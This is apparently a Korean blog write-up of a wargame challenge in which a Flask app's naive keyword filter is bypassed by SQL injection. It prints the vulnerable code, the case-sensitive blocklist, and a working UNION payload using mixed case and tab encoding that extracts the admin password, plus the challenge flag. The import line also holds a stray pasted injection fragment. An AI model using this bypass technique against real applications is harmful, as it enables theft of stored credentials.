SQL Injection bypass WAF

Moon Junsu·2025년 7월 16일

✅ SQL Injection이란?
SQL Injection이란,
웹 애플리케이션이 사용자 입력을 적절히 필터링하지 않고
SQL 쿼리에 삽입할 때 발생하는 보안 취약점이다.

공격자는 이를 악용하여 다음과 같은 일을 할 수 있다:

  1. 비밀번호 없이 로그인

  2. 데이터베이스에서 민감한 정보(예: 계정, 비밀번호, 카드번호 등) 탈취

  3. 테이블 삭제 등 파괴적인 작업 수행

SQL 인젝션에는 다양한 기법이 있다.

1️⃣ 에러 기반 SQLi (Error-based)
DB에서 발생하는 오류 메시지를 활용

2️⃣ 유니온 기반 SQLi (UNION-based)
UNION 키워드로 다른 SELECT 결과를 합쳐 출력

3️⃣ 블라인드 SQLi (Blind SQL Injection)
결과가 출력되지 않는 경우, 조건으로 판단

4️⃣ 타임 기반 SQLi (Time-based Blind)
SLEEP(n)을 활용해 시간 차이로 판단

등이 존재한다.

워게임 문제 및 풀이

오늘은 SQL Injection bypass WAF를 풀어본다.

import os
from flask import Flask, requestADMIN'%20UNION%20SELECT%20*FROM%20USER
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

위와 같은 코드가 주어지고, WAF에서 키워드 union, select 등 SQL문에 대해 필터링을 진행하고 있다.

DB구조

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

먼저 첫째로 문자열은 대문자를 통해 우회할 수 있다.

파이썬은 문자열 ADMIN과 admin을 다르게 인식한다. 하지만 SQL은 소문자와 대문자를 구분하지 않는다. 이 차이를 이용하여 우리는 SQL구문을 삽입할 수 있다.

또한 uid에 대해 별다른 조작 없이 사용자의 입력을 그대로 삽입하고 있다.

이번 문제에서는 UNION 구문을 이용하여 취약점을 발현시켜 볼 것이다.

먼저 앞 구문을 끝내기 위해 '을 추가한다.

URL Encoding을 적절히 이용해서 만들도록 하겠다.

또한 공백은 %20으로 변환되게 되는데, 공백과 같은 역할을 하는 TAB으로 바꾸어서 우회하도록 하겠다. ( %09 )

'  UnIon  SeLeCt  uid,upw,1  FrOm  user  WHERE uid='ADMIN';--
%27%09UnIon%09SeLeCt%09uid,upw,1%09FrOm%09user%09WHERE%09uid=%27ADMIN%27;--

위와 아래는 같은 역할을 한다. UNION은 앞과 뒤 SELECT 구문의 컬럼의 수가 같아야 한다.

즉 컬럼을 DB구조를 통해 개수를 맞춰주고, 코드에서 result[1]만을 반환하므로 upw를 2번째에 배치하였다.

이제 요청을 보내게 되면 다음과 같이 FLAG를 반환해 준다.

FLAG : DH{bc818d522986e71f9b10afd732aef9789a6db76d}

profile
보안 인프라 엔지니어

0개의 댓글